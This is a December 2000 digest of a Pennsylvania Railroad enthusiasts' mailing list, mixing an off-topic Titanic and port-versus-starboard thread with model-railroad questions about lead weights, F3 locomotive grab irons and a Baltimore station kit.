Subject: Re: [PRR] Unbreakable/Titanic



Fireman spends much of his life in hot, smoky cab with PRR 

engineman.  At start of each run, engineman unlocks a small box 

he carries in his satchel, extracts piece of paper, reads same, 

carefully locks up again.  Fireman sees this every day for years.



Finally Engineman Casey dies at the throttle.  As they are packing 

his mortal remains off, fireman, unable to contain himself, opens 

the locked box to read:



When da signal has 3 horizontal lights, stop.  Otherwise don't stop.



+++++++++++



Apologies to the old nautical equivalent (Right side of the ship is 

starboard, left side of the ship is port.)



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From: BBReynolds@aol.com

Date: Wed, 6 Dec 2000 00:15:36 EST

Subject: Re: [PRR] Unbreakable/Titanic



In a message dated 12/5/2000 2:07:15 PM Eastern Standard Time, 

Charles.Burnley@conectiv.com writes:



> Submarines were always refered to as "boats". Possibly from the German

>  "U-Boat" which was actually Undervasserboot.(spelling???) The tie-in to the

>  PRR I believe was Fairbanks-Moorse which made the diesel engines (opposed

>  pistons) for the U.S. Fleet Submarines of WWII, and was used in the 1st

>  generation of diesel locomotives for the railroad after the war.



US submarines in the WWII period used a pretty even mix of GM and F-M OP 

Diesel engines.  U-Boat is from the German Unterseeboot. 



Bruce B. Reynolds, Trailing Edge Technologies, Glenside PA



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!!NEXT MESSAGE!!
From: BBReynolds@aol.com

Date: Wed, 6 Dec 2000 00:15:37 EST

Subject: Re: [PRR] Unbreakable/Titanic



In a message dated 12/5/2000 10:09:14 AM Eastern Standard Time, 

mittner@webtv.net writes:



>      How about PT-Boats? Big enough to be a ship but ever called one.

>  Which may or may not have been built by Alco which built PRR Diesel

>  Locos....Gary



WW II US PT boats (MBT, Motor Boat Torpedo) were built by Huckins, Higgins, 

and ELCO.  Most had Packard or Allison gasoline engines (three V-12's with 

total HP near 5,500 ASAE).  They were not individually commissioned (a whole 

squadron of 12 or so was commissioned at once), so that there was no "USS PT 

109" for best-known example.



Bruce B. Reynolds, Trailing Edge Technologies, Glenside PA



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From: BBReynolds@aol.com

Date: Wed, 6 Dec 2000 00:15:38 EST

Subject: Re: [PRR] Unbreakable/Titanic



In a message dated 12/5/2000 8:54:28 AM Eastern Standard Time, 

jerry@pennsyrr.com writes:



> The other night I was flipping channels and saw the scene in "Titanic" where

>  they hit the iceberg. Now, I've seen the movie a half dozen times and I've

>  just noticed this: when they see the iceberg, the order is given to turn

>  "hard to starboard" (that's to the right for landlubbers -- I was pilot

>  certified by the Coast Guard at age 16 on the Chesapeake Bay). But history

>  records, and the movie accurately reflects, that they turn "hard to port"

>  (left)!



In 1912, a British RN/RMS helmsman was still given TILLER directions, as if 

he was controlling the rudder directly (one real long tiller for the 

Titanic); to turn to port, the tiller is moved to the "starboard" (the word 

derives from "sterbord", the steering oar was initially suspended from the 

right side of a vessel (the "port" side is so named as landings would be done 

with the left side of the vessel facing the dock, pier, whatever, so as to 

not foul the steering oar)): therefore the command is "hard a-starboard".  

Which way the helmsman turns the wheel (which on the Titanic was just a 

remote control for a steam steering engine acting on the top of the rudder 

post) depended on ship design.  The manual steering gear in the stern of the 

ship would use multiple

wheels and multiple seamen to turn the rudder post, and would most likely be 

rigged to turn clockwise to move the tiller to the starboard side to make a 

turn to port. 



At 22 knots (37 feet per second) at 500 yards from the alert sighting, the 

ship would not have begun to "answer the helm", nor have been able to reverse 

the engines, before making the infamous contact with the dislocated piece of 

Greenland or whereever.



Bruce B. Reynolds, Trailing Edge Technologies, Glenside PA



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!!NEXT MESSAGE!!
From: BBReynolds@aol.com

Date: Wed, 6 Dec 2000 00:15:42 EST

Subject: Re: [PRR] Unbreakable/Titanic



In a message dated 12/5/2000 11:15:45 AM Eastern Standard Time, 

jtoreki@mail.utexas.edu writes:



> Aren't the ore freighters on the Great Lakes properly referred to as boats? 

>  I think its use came from the 19th century term "pig-boats" (from hauling

>  pig iron, I assume).



The compilation in three volumes, <Great Lakes Ships We Remember>, uses the

terms with no particular pattern; as far as the Coast Guard is concerned, the 

"boats" on the Great Lakes are "ships".  Many of the "boats" were used for 

shipping on both fresh and salt water; dozens were requisitioned in WWI and 

WWII and wound up in 

some corners far removed from Duluth, Toledo, or Sandusky.



Bruce B. Reynolds, Trailing Edge Technologies, Glenside PA



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!!NEXT MESSAGE!!
Date: Wed, 6 Dec 2000 00:17:34 -0500 (EST)

From: bubbles@visi.net

Subject: [PRR] Titanic





 Ok...



  Since we're on this thread.....

  And to keep it PRR related.

  The Titanic was owned by the White Star Line.

  White Star Line was in turn owned by

  IMM (International Mercantile Marine)



  IMM was either owned or controlled by

  J.P.Morgan the financier. The same J.P. Morgan who 

  had met with A.J.Cassatt in New York about the

  New York station project and other

  PRR matters.



  It does'nt surprise me that Mr. Thayer was

  on the Titanic as the White Star Line

  was a PRR friendly shipping line.

  Both British and American PRR stockholders used

  the White Star Line because of this.

  It is also no surprize there were many

  well to do Philadelphia families on board

  as they probably had ties to both

  the PRR and White Star Line.

  There was also a Grand Trunk Rwy. president

  or vice president that also went down

  with the Titanic.



  And yes the ships wheel was ordered to 

  Hard a Starboard because of the

  setup of the Titanic's steering

  gear and the state of the art of British

  (Irish)shipbuilding at that time.

  There are a few books on the Titanic that explain

  why this was so.(And if needed

  i can dig my Titanic books out

  and relate this to any who need to

  know).



  Have fun....



                      Til Later

                      Hank Mummert





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!!NEXT MESSAGE!!
Date: Wed, 06 Dec 2000 06:32:25 -0500

Subject: Re: [PRR] Unbreakable/Titanic

From: Jerry Britton <jerry@pennsyrr.com>



On 12/6/00 12:15 AM, BBReynolds@aol.com at (BBReynolds@aol.com) wrote:



> At 22 knots (37 feet per second) at 500 yards from the alert sighting,



I see we have some rivet counting maritime experts on the list! <grin>

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!!NEXT MESSAGE!!
Date: Wed, 6 Dec 2000 04:03:11 -0800 (PST)

From: robert netzlof <wb3iqe@rocketmail.com>

Subject: Re: [PRR] Re: Starboard is Port





--- Eichhorn@aol.com wrote:

> In a message dated 12/05/2000 4:00:41 PM Eastern

> Standard Time, 

> jerry@pennsyrr.com writes:

> 

> 

> > The flaw in the movie is that they VERBALLY say

> turn to starboard...but they

> > 

> 

> Jerry,

> 

> Might they have said "larboard", which could have

> easily been misunderstood 

> for "starboard"? :-))

> 



If I recall correctly from reading Samuel Clemens

"Life on the Mississippi", the term "larboard" was

peculiar to the inland waterways of the US,

particularly the Mississippi and its tributaries



Of course this is related to PRR as numerous PRR lines

in western PA paralleled navigable waterways where the

term would have been used.







=====

Bob Netzlof a/k/a Sweet Old Bob





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!!NEXT MESSAGE!!
Date: Wed, 6 Dec 2000 04:07:57 -0800 (PST)

From: robert netzlof <wb3iqe@rocketmail.com>

Subject: [PRR] Virtual PRR maps



Jerry,



I'm interested in the base maps you used in the

Virtual PRR pages. Do you know when PRR issued those

maps and would you post that information?



I'm guessing they're from the mid to late 30's, but

would like to know the facks.







=====

Bob Netzlof a/k/a Sweet Old Bob





__________________________________________________

Do You Yahoo!?

Yahoo! Shopping - Thousands of Stores. Millions of Products.

http://shopping.yahoo.com/



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!!NEXT MESSAGE!!
Date: Wed, 06 Dec 2000 08:13:43 -0500

From: Stephen Bartlett <sbartlet@capecod.net>

Subject: Re: [PRR] Starboard or steerboard.



Maybe the steerboard prevented docking with that side of the ship

against a pier, hence the "port" side.



An article in the "Keystone" a few years ago describing the PRR's

rubber-tired tractors (my word) used to switch some areas, possibly

Baltimore, showed a view of the wheel house with two signs with arrows. 

I have to guess at the exact words, but a sign on the left, pointing

left, read "Starboard," or "Right," and a sign on the right, pointing

right, read "Port" or "Left."  An explanation given in a later issue

stated that this was because the wheel operated the same as the wheel in

an old sailing ship, not like a modern road vehicle.  The early wheels

were rigged to operate the same as a tiller: push or turn to the left,

and the ship would move to the right.



Steve Bartlett





Subject: Re: [PRR] Starboard or steerboard.

From: "Mark Lehman" <K-4sDRIVER@webtv.net>

Date: Tue, 5 Dec 2000 17:38:39 -0500 (EST)



 The word starboard comes from the word steerboard. Originally on

ancient ships the rudder or steerboard as it was called was located on

the right side just aft of midships. It was not located aft on the

centerline of the keel.  Anyone know how port got its name? I didn't

know the Pennsy had sail powered water equipment.



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From: "Charles E. Whary" <cwhary@paonline.com>

Subject: [PRR] Power Packs

Date: Wed, 6 Dec 2000 08:41:03 -0500



This is a multi-part message in MIME format.



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	charset="iso-8859-1"

Content-Transfer-Encoding: 7bit



People,



I have used MRC power packs for sale. Anyone interested please contact me

off line.

E-mail address  cwhary@paonline.com  thanx.



Charles Whary





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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<HTML><HEAD><TITLE></TITLE>

<META content=3D"text/html; charset=3Diso-8859-1" =

http-equiv=3DContent-Type>

<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR></HEAD>

<BODY>

<P><FONT size=3D2>People,<BR><BR>I have used MRC power packs for sale. =

Anyone=20

interested please contact me off line.<BR>E-mail =

address<STRONG><EM>&nbsp;=20

</EM><A =

href=3D"mailto:cwhary@paonline.com"><EM>cwhary@paonline.com</EM></A>&nbsp=

;=20

</STRONG>thanx.</FONT></P>

<P><FONT size=3D2>Charles</FONT> <FONT =

size=3D2>Whary</FONT></P></BODY></HTML>



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Subject:  [PRR] Unbreakable/Titanic

From: Randy.Williamson@marathon-eap.com

Date: Wed, 6 Dec 2000 08:11:28 -0600





Is there not a different subject we can talk about?  The reaches for a

thread to the Pennsylvania is really slim.  Can we move on?



Randy Williamson





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!!NEXT MESSAGE!!
Date: Wed, 6 Dec 2000 08:16:54 -0600 (CST)

From: harperd@tamug.tamu.edu (Don Harper)

Subject: [PRR] PRR:  Info please



I have three PRR composite gons.  The instructions for completing the

models say weight should be added under the floor and suggest thin sheets

of lead or  brass.  I prefer to use lead as you can get the needed weight

without as much height as would be needed with brass.  My hobby shop has

been unable to get any of these sheets for me.  Does anyone in the group

have a source?



Many thanks



Don Harper

Texas A&M Marine Lab

5007 Avenue U

Galveston, TX  77551

409/740-4540







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Date: Wed, 06 Dec 2000 09:33:03 -0500

From: Andy Miller <asmiller@mitre.org>

Subject: Re: [PRR] PRR:  Info please



Home Depot, or any building material yard.  The stuff is used for roof

flashing and comes in large (by model RR standards) rolls.  The seller

will cut off as much as you need and charge you by the pound.  A foot or

two off a roll should last you half a lifetime and cost $3-$4.  You can

cut it into small pieces with a pair of scissors.



Regards,



Andy Miller

asmiller@mitre.org



===================================================

Don Harper wrote:

> 

> I have three PRR composite gons.  The instructions for completing the

> models say weight should be added under the floor and suggest thin sheets

> of lead or  brass.  I prefer to use lead as you can get the needed weight

> without as much height as would be needed with brass.  My hobby shop has

> been unable to get any of these sheets for me.  Does anyone in the group

> have a source?

> 

> Many thanks

> 

> Don Harper

> Texas A&M Marine Lab

> 5007 Avenue U

> Galveston, TX  77551

> 409/740-4540

> 

> -----------------------------------------------------------------------

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From: "Bill Bigler" <wbigler@stny.rr.com>

Subject: [PRR] PRR, Message Content, Subject, Topics

Date: Fri, 6 Dec 2002 09:36:46 -0500



Fellow PRR (Sometimes) Listers:



I'm normally quite patient with off topic posts - some of them are

interesting and useful,  However. . . . !!  The thread on Unbreakable, port

vs starboard vs larboard, tiller vs. wheel, left vs. right, design of the

Titanic, boat vs. ship, and several other topics has assumed a life of it's

own.  If I counted right, since I emptied my trash there have been 16 posts

on these topics!  I can maybe accept the first one - it was a current movie

with a train on supposedly PRR tracks, but really, gang!  Can we somehow

chase these off list?  A little bit is ok, but well, you get the idea.  And

I'm as quick with the delete key as the next guy!



PRR content:  I'm about to leave for a day of railroad archeology in and

around Williamsport PA.  I have the appropriate pages from the CT-1000, old

topo maps, a track chart (of sorts), Sanborn maps, and up to date street and

topo maps.  I find Williamsport a fascinating place which would make a

superb PRR switching/industrial model railroad.  I plan to work as much of

it as I can into my 1945 Renovo Division layout.  I'll let you know how the

day went, then those who are interested can discuss it with me off line,

unless there is significant interest in doing it on line!



Onward!  Upward!  The PRR is dead; long live the PRR!



Bill Bigler

Big Flats NY

Modeling PRR Renovo Div. WWII









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Date: Wed, 06 Dec 2000 09:54:20 -0500

Subject: Re: [PRR] Williamsport

From: Jerry Britton <jerry@pennsyrr.com>



On 12/6/02 9:36 AM, Bill Bigler (wbigler@stny.rr.com) wrote:



> PRR content:  I'm about to leave for a day of railroad archeology in and

> around Williamsport PA.  I have the appropriate pages from the CT-1000, old

> topo maps, a track chart (of sorts), Sanborn maps, and up to date street and

> topo maps.  I find Williamsport a fascinating place which would make a

> superb PRR switching/industrial model railroad.  I plan to work as much of

> it as I can into my 1945 Renovo Division layout.  I'll let you know how the

> day went, then those who are interested can discuss it with me off line,

> unless there is significant interest in doing it on line!

> 

If you can fit it in, spend a little while travelling north out of

Williamsport up the old Elmira Branch right of way...beautiful scenery as

the track hugged the edge of the mountains at points...Trout Run, Canton,

etc.



Of course, this isn't Renovo Division...sounds like you'll be heading west!

---------------------------------------------------------

Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

"Keystone Crossings" - Home of "PRR-Talk"

    http://kc.pennsyrr.com

"Merchandise Service" - Model railroad products

    http://merchandise.pennsyrr.com

Free serving of railroad web sites

    http://www.railfancentral.com





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From: "Zyla, Joe" <Joe.Zyla@astrazeneca.com>

Subject: [PRR] CV Crew/train assignments...

Date: Wed, 6 Dec 2000 10:38:21 -0500 



This message is in MIME format. Since your mail reader does not understand

this format, some or all of this message may not be legible.



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Hello All,

 

In looking into the cabin cars assignments, how do I determine if the crew

numbers are assigned for Cumberland Valley runs?  The ones specific to CV

are easy, but what about "ENOLA 800 CREW", as an example?

 

Joe Zyla

Doylestown, PA  





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<META content="MSHTML 5.00.2920.0" name=GENERATOR></HEAD>

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<BLOCKQUOTE style="MARGIN-RIGHT: 0px">

  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT color=#0000ff 

  face=Arial><SPAN class=128033814-06122000>Hello All,</SPAN></FONT></DIV>

  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT color=#0000ff 

  face=Arial><SPAN class=128033814-06122000></SPAN></FONT>&nbsp;</DIV>

  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT color=#0000ff 

  face=Arial><SPAN class=128033814-06122000>In looking into the cabin cars 

  assignments, how do I determine if the crew numbers are assigned for 

  Cumberland Valley runs?&nbsp; The ones specific to CV are easy, but what about 

  "ENOLA 800 CREW", as an example?</SPAN></FONT></DIV>

  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT color=#0000ff 

  face=Arial><SPAN class=128033814-06122000></SPAN></FONT>&nbsp;</DIV>

  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT color=#0000ff 

  face=Arial><SPAN class=128033814-06122000>Joe Zyla</SPAN></FONT></DIV>

  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT color=#0000ff 

  face=Arial><SPAN class=128033814-06122000>Doylestown, PA&nbsp; 

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!!NEXT MESSAGE!!
Date: Wed, 06 Dec 2000 10:52:32 -0500

Subject: Re: [PRR] PRR:  Info please

From: Eugene Nowlan <ENowlan@stny.rr.com>



Lead sheets is available from large plumbing wholesaler/supplier will cut

off the amount you  want. Locally they buy 4'x8' sheets.



Loy Spurlock of Loy's Toys sells small quantities of lead sheet by mail

order.

<LoysToys@alltel.net>







Gene,



Eugene Nowlan





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!!NEXT MESSAGE!!
Date: Wed, 06 Dec 2000 11:12:13 -0500

From: "John Ryan, Jr." <RamblingReck@worldnet.att.net>

Subject: Re: [PRR] PRR:  Info please



I get them at my local hardware store (Not Lowes or BHome depot).



John Ryan



Don Harper wrote:

> 

> I have three PRR composite gons.  The instructions for completing the

> models say weight should be added under the floor and suggest thin sheets

> of lead or  brass.  I prefer to use lead as you can get the needed weight

> without as much height as would be needed with brass.  My hobby shop has

> been unable to get any of these sheets for me.  Does anyone in the group

> have a source?



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!!NEXT MESSAGE!!
Date: Wed, 06 Dec 2000 12:17:29 -0500

From: "Tom Mahon" <tmahon@cfnh.com>

Subject: [PRR] Titanic- ENOUGH!!!



The boat is still on the bottom of the Atlantic. The 1500 people are

still dead. Historical accuracy in any movie is an incredible accident.

ENOUGH!!



Tom Mahon

Merrimack, NH





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From: mittner@webtv.net (Gary Mittner)

Date: Wed, 6 Dec 2000 12:43:01 -0500 (EST)

Subject: [PRR] 1 More F3 Question.



List,



    As I continue to get ready to convert my G Scale F3 into Pennsy

EH-15 I have come up with one more question. This would concern a PRR

Unit in any scale. Again, I do not have a lot of photos of PRR F Units

so I am asking for help. I leafed thru my Pennsy Power Books trying to

see if the EH or EF 1500's (interested in F3's only) had the grab irons

going up the engineers side of the nose. I can't seem to locate a

picture showing this. I am assuming, maybe wrong, but it looks like the

number board would get in the way of these rungs. Did in fact the F3s

have these? 

   Another question on the same subject. That grab iron located on the

top of the nose on both the engineers side and firemans side, this has a

special shape. I was told this is for a ladder connection. Meaning a

portable ladder can be attached by a maintance worker so he could climb

to the windshield area.  Is this correct? If so, then the nose side grab

on an F3 need not be? PRR F7's have both the grabs and the top grab. 

    Thanks for all who had emailed me on the Number Board question I had

last week. TIA again.....Gary  









Come visit my PRR Pages.... Photos, Models, Historical Items, Art

Work!.......and MY NEW  K4s & G5s WEB PAGES>>>

http://homepages.go.com/~prrk4

..  http://homepages.go.com/~prrg5

and......

http://community.webtv.net/mittner/THEHOMEOFGARY...

http://community.webtv.net/mittner/PENNSYLVANIA





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!!NEXT MESSAGE!!
Date: Wed, 06 Dec 2000 12:51:05 -0500

From: "John Ryan, Jr." <RamblingReck@worldnet.att.net>

Subject: [PRR] Re: [PRR-Modeling] 1 More F3 Question.



The grabs up the side of the nose were a Federal safety requirement. 

I'm not sure when the rule became effective.



John Ryan



mittner@webtv.net wrote:

> 

> List,

> 

>     As I continue to get ready to convert my G Scale F3 into Pennsy

> EH-15 I have come up with one more question. This would concern a PRR

> Unit in any scale. Again, I do not have a lot of photos of PRR F Units

> so I am asking for help. I leafed thru my Pennsy Power Books trying to

> see if the EH or EF 1500's (interested in F3's only) had the grab irons

> going up the engineers side of the nose. I can't seem to locate a

> picture showing this. I am assuming, maybe wrong, but it looks like the

> number board would get in the way of these rungs. Did in fact the F3s

> have these?

>    Another question on the same subject. That grab iron located on the

> top of the nose on both the engineers side and firemans side, this has a

> special shape. I was told this is for a ladder connection. Meaning a

> portable ladder can be attached by a maintance worker so he could climb

> to the windshield area.  Is this correct? If so, then the nose side grab

> on an F3 need not be? PRR F7's have both the grabs and the top grab.

>     Thanks for all who had emailed me on the Number Board question I had

> last week. TIA again.....Gary



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!!NEXT MESSAGE!!
Date: Wed, 06 Dec 2000 13:07:01 -0500

From: Andy Miller <asmiller@mitre.org>

Subject: Re: [PRR] 1 More F3 Question.



Gary,



 All diesels had some access to the windshield.  Originally this was the

"ladder rest" you mentioned. Ladder rests looked like grab irons but

bent upward at the end so that a ladder could be rested on them and not

slide off. A ladder could then be used to clean the windshield. As I

understand it, regulations in the late 50s or early 60s required the

access mechanism to be a permanent part of the engine.  So some engines

got grab iron ladders up the side of the nose, others got whole ladders

there (Baldwin Sharks).  I believe the Es and Fs were fitted with a

walkway which could be reached from the cab entrance ladder.  This may

very well have been because the number boards would interfere with any

ladder arrangement, as you surmise.



If my understanding is correct, then whether you use a ladder rest or

another fitting depends upon what era you model.



Regards,



Andy Miller

asmiller@mitre.org



===================================================

Gary Mittner wrote:

> 

> List,

> 

>     As I continue to get ready to convert my G Scale F3 into Pennsy

> EH-15 I have come up with one more question. This would concern a PRR

> Unit in any scale. Again, I do not have a lot of photos of PRR F Units

> so I am asking for help. I leafed thru my Pennsy Power Books trying to

> see if the EH or EF 1500's (interested in F3's only) had the grab irons

> going up the engineers side of the nose. I can't seem to locate a

> picture showing this. I am assuming, maybe wrong, but it looks like the

> number board would get in the way of these rungs. Did in fact the F3s

> have these?

>    Another question on the same subject. That grab iron located on the

> top of the nose on both the engineers side and firemans side, this has a

> special shape. I was told this is for a ladder connection. Meaning a

> portable ladder can be attached by a maintance worker so he could climb

> to the windshield area.  Is this correct? If so, then the nose side grab

> on an F3 need not be? PRR F7's have both the grabs and the top grab.

>     Thanks for all who had emailed me on the Number Board question I had

> last week. TIA again.....Gary

> 

> Come visit my PRR Pages.... Photos, Models, Historical Items, Art

> Work!.......and MY NEW  K4s & G5s WEB PAGES>>>

> http://homepages.go.com/~prrk4

> ..  http://homepages.go.com/~prrg5

> and......

> http://community.webtv.net/mittner/THEHOMEOFGARY...

> http://community.webtv.net/mittner/PENNSYLVANIA

> 

> -----------------------------------------------------------------------

> Join our SPF database at http://kc.pennsyrr.com/forms/spf/index.html.

> -----------------------------------------------------------------------

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> "listserv@dsop.com".



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!!NEXT MESSAGE!!
From: mittner@webtv.net (Gary Mittner)

Date: Wed, 6 Dec 2000 13:26:05 -0500 (EST)

Subject: Re: [PRR] 1 More F3 Question.



Andy, List



    On these particular F3's I am doing I settled on modeling the as

delivered EH-15 versions. The nose grabs on this particular project

won't be a problem. They were not on it. It was just something I noticed

while looking for certain details. The info you gave will help out in

future projects. 

    For those out there who have purchased or are thinking of purchasing

the G Scale F Units, maybe , just maybe, there will be some details

available in the future for Pennsyizing them. I have completed an

Antenna Mast, Nose Lift Ring, Passenger Pilot and am continuing on

working on the Number Boards. If any of these proove to be suitable for

making duplicates they may be able to market. The antenna masts and the

nose lift rings will be the easiest to apply. The pilot, if able to be

made will be a screw on replacment. The Number Boards will require

extreme modification of the Shell. I know this for a fact cause I

removed the F7 style boards already. Whew! Anyway, more info when I know

more. Thanks, .....Gary

      



    









Come visit my PRR Pages.... Photos, Models, Historical Items, Art

Work!.......and MY NEW  K4s & G5s WEB PAGES>>>

http://homepages.go.com/~prrk4

..  http://homepages.go.com/~prrg5

and......

http://community.webtv.net/mittner/THEHOMEOFGARY...

http://community.webtv.net/mittner/PENNSYLVANIA





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!!NEXT MESSAGE!!
Date: Wed, 06 Dec 2000 12:38:37 -0600

From: Greg Johnson <gjohnson@unitedvalve.com>

Subject: [PRR] Virtual Layout



Jerry,



My Allegheny Terminal RR (listed in the layout section) features the PRR

from McKeesport to Pittsburgh on the Monongahela Div.



Regards,



Greg Johnson





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!!NEXT MESSAGE!!
From: mittner@webtv.net (Gary Mittner)

Date: Wed, 6 Dec 2000 14:02:21 -0500 (EST)

Subject: Re: [PRR-Modeling] Re: [PRR] 1 More F3 Question.



Brian,



    You are quite correct. I forgot about a post card album I have. In

there was a Vanishing Vistas post card of a trio of EH-15's sitting at

La Grange in 1948. These are the Helper Units I want to model! It has

that extra stripe on the door. And as you say, as delivered, these did

not have any grabs anywhere on the side or top of the nose. So be it. I

will not put any grabs either. Thanks for your input Brian....Gary  









Come visit my PRR Pages.... Photos, Models, Historical Items, Art

Work!.......and MY NEW  K4s & G5s WEB PAGES>>>

http://homepages.go.com/~prrk4

..  http://homepages.go.com/~prrg5

and......

http://community.webtv.net/mittner/THEHOMEOFGARY...

http://community.webtv.net/mittner/PENNSYLVANIA





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!!NEXT MESSAGE!!
Date: Wed, 06 Dec 2000 15:04:44 -0500

Subject: [PRR] F-M C-Liner Details Now Available

From: Jerry Britton <jerry@pennsyrr.com>



Cal Scale has created details for HO F-M C-Liners, including trainphone

antennas and lift rings.



----------(sales pitch, don't read if offended!)---------



They are available from "Merchandise Service" at



    http://merchandise.pennsyrr.com/forms/shopping/ms_new.html



---------------------------------------------------------

Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

"Keystone Crossings" - Home of "PRR-Talk"

    http://kc.pennsyrr.com

"Merchandise Service" - Model railroad products

    http://merchandise.pennsyrr.com

Free serving of railroad web sites

    http://www.railfancentral.com





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From: "Kris Kollar" <kkollar@cplx.net>

Subject: Re: [PRR] PRR:  Info please

Date: Wed, 6 Dec 2000 17:32:51 -0500



The thin lead sheet material is called lead flashing and its used, among

other things to make a water tight joint between the roof and brick

chimneys.  Masonry supply stores should carry this item too.



----- Original Message -----

From: "John Ryan, Jr." <RamblingReck@worldnet.att.net>

To: "Don Harper" <harperd@tamug.tamu.edu>

Cc: <PRR-Talk@dsop.com>

Sent: Wednesday, December 06, 2000 11:12 AM

Subject: Re: [PRR] PRR: Info please





> I get them at my local hardware store (Not Lowes or BHome depot).

>

> John Ryan

>

> Don Harper wrote:

> >

> > I have three PRR composite gons.  The instructions for completing the

> > models say weight should be added under the floor and suggest thin

sheets

> > of lead or  brass.  I prefer to use lead as you can get the needed

weight

> > without as much height as would be needed with brass.  My hobby shop has

> > been unable to get any of these sheets for me.  Does anyone in the group

> > have a source?

>

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From: mittner@webtv.net (Gary Mittner)

Date: Wed, 6 Dec 2000 17:50:43 -0500 (EST)

Subject: RE: [PRR-Modeling] Re: [PRR] 1 More F3 Question.



Rick,



    Not that it matters for me on these F3's, but can you refer me to a

PRR F3 Photo that has the grabs up the side of the nose. No matter what

era. I would like to see how they went around the small number board.

Thanks, Gary 









Come visit my PRR Pages.... Photos, Models, Historical Items, Art

Work!.......and MY NEW  K4s & G5s WEB PAGES>>>

http://homepages.go.com/~prrk4

..  http://homepages.go.com/~prrg5

and......

http://community.webtv.net/mittner/THEHOMEOFGARY...

http://community.webtv.net/mittner/PENNSYLVANIA





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From: K-4sDRIVER@webtv.net (Mark Lehman)

Date: Wed, 6 Dec 2000 18:10:35 -0500 (EST)

Subject: [PRR] Strafford Station





 Anyone know if the restoration work has been compleated on the

Strafford Station?





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From: "Bill Daniels" <billd@gci-net.com>

Subject: Re: [PRR] Re: Starboard is Port

Date: Wed, 6 Dec 2000 18:42:44 -0700



Larboard was used until the mid-19th century by the Royal Navy. It was

changed then to port to avoid confusion with starboard. Port was chosen

since it couldn't be confused with starboard. Why it lasted so long is

beyond me!



Bill Daniels

----- Original Message -----

From: robert netzlof <wb3iqe@rocketmail.com>

To: <Eichhorn@aol.com>; <PRR-Talk@dsop.com>

Sent: Wednesday, December 06, 2000 5:03 AM

Subject: Re: [PRR] Re: Starboard is Port





>

> --- Eichhorn@aol.com wrote:

> > In a message dated 12/05/2000 4:00:41 PM Eastern

> > Standard Time,

> > jerry@pennsyrr.com writes:

> >

> >

> > > The flaw in the movie is that they VERBALLY say

> > turn to starboard...but they

> > >

> >

> > Jerry,

> >

> > Might they have said "larboard", which could have

> > easily been misunderstood

> > for "starboard"? :-))

> >

>

> If I recall correctly from reading Samuel Clemens

> "Life on the Mississippi", the term "larboard" was

> peculiar to the inland waterways of the US,

> particularly the Mississippi and its tributaries

>

> Of course this is related to PRR as numerous PRR lines

> in western PA paralleled navigable waterways where the

> term would have been used.

>

>

>

> =====

> Bob Netzlof a/k/a Sweet Old Bob

>

>

> __________________________________________________

> Do You Yahoo!?

> Yahoo! Shopping - Thousands of Stores. Millions of Products.

> http://shopping.yahoo.com/

>

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Date: Wed, 06 Dec 2000 20:03:33 -0600

From: jud powell <jp3@cableone.net>

Subject: Re: [PRR] Re: Starboard is Port



I'm sorry I trhought this list was about railroads. How stupid of me.



Bill Daniels wrote:



> Larboard was used until the mid-19th century by the Royal Navy. It was

> changed then to port to avoid confusion with starboard. Port was chosen

> since it couldn't be confused with starboard. Why it lasted so long is

> beyond me!

>

> Bill Daniels

> ----- Original Message -----

> From: robert netzlof <wb3iqe@rocketmail.com>

> To: <Eichhorn@aol.com>; <PRR-Talk@dsop.com>

> Sent: Wednesday, December 06, 2000 5:03 AM

> Subject: Re: [PRR] Re: Starboard is Port

>

> >

> > --- Eichhorn@aol.com wrote:

> > > In a message dated 12/05/2000 4:00:41 PM Eastern

> > > Standard Time,

> > > jerry@pennsyrr.com writes:

> > >

> > >

> > > > The flaw in the movie is that they VERBALLY say

> > > turn to starboard...but they

> > > >

> > >

> > > Jerry,

> > >

> > > Might they have said "larboard", which could have

> > > easily been misunderstood

> > > for "starboard"? :-))

> > >

> >

> > If I recall correctly from reading Samuel Clemens

> > "Life on the Mississippi", the term "larboard" was

> > peculiar to the inland waterways of the US,

> > particularly the Mississippi and its tributaries

> >

> > Of course this is related to PRR as numerous PRR lines

> > in western PA paralleled navigable waterways where the

> > term would have been used.

> >

> >

> >

> > =====

> > Bob Netzlof a/k/a Sweet Old Bob

> >

> >

> > __________________________________________________

> > Do You Yahoo!?

> > Yahoo! Shopping - Thousands of Stores. Millions of Products.

> > http://shopping.yahoo.com/

> >

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> > "listserv@dsop.com".

>

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Date: Wed, 6 Dec 2000 22:26:14 -0500 (EST)

From: bubbles@visi.net

Subject: [PRR] Baltimore station model ?





 Hello all...



  I saw a ad today in the January issue of Model Railroader

  for a company called Custom Model Railroads. 

  The ad showed what looked a lot like Baltimore's

  Penn station,although you could tell it had been

  shortened in lenth. They don't say its Penn station,

  but there's no mistaking it.



  For any of us who are modeling Baltimore this is a 

  must have model. I also went to the web site

  listed and found other Baltimore inspired

  buildings that they have,but my main focus

  is Penn station. If i had to scratch build

  it it would take as much money and a lot

  more time to do so.



  Here is the web address if anyone

  needs it.



  www.custommodelrailroads.com





  Now all i need is the 180.00 for the station.

  LOL...i wonder if he takes payments?



                       Til Later

                       Hank Mummert





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From: JONS6755@aol.com

Date: Wed, 6 Dec 2000 23:17:04 EST

Subject: Re: [PRR] Titanic- ENOUGH!!!





--part1_14.c9729e4.27606940_boundary

Content-Type: text/plain; charset="US-ASCII"

Content-Transfer-Encoding: 7bit



THANK YOU TOM ! ! ! 



--part1_14.c9729e4.27606940_boundary

Content-Type: text/html; charset="US-ASCII"

Content-Transfer-Encoding: 7bit



<HTML><FONT FACE=arial,helvetica><FONT  SIZE=3>THANK YOU TOM ! ! ! </FONT></HTML>



--part1_14.c9729e4.27606940_boundary--



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Date: Wed, 06 Dec 2000 23:33:00 -0500

From: davep <davep@quik.com>

Subject: [PRR] GG1 HV Bus



(olde matter)

(Sorry to intrude on the naval achitecture list....)



per the GG1/P5/P5A Enginemans Instruction boook:

	pix of both P5 variants had external roof buses

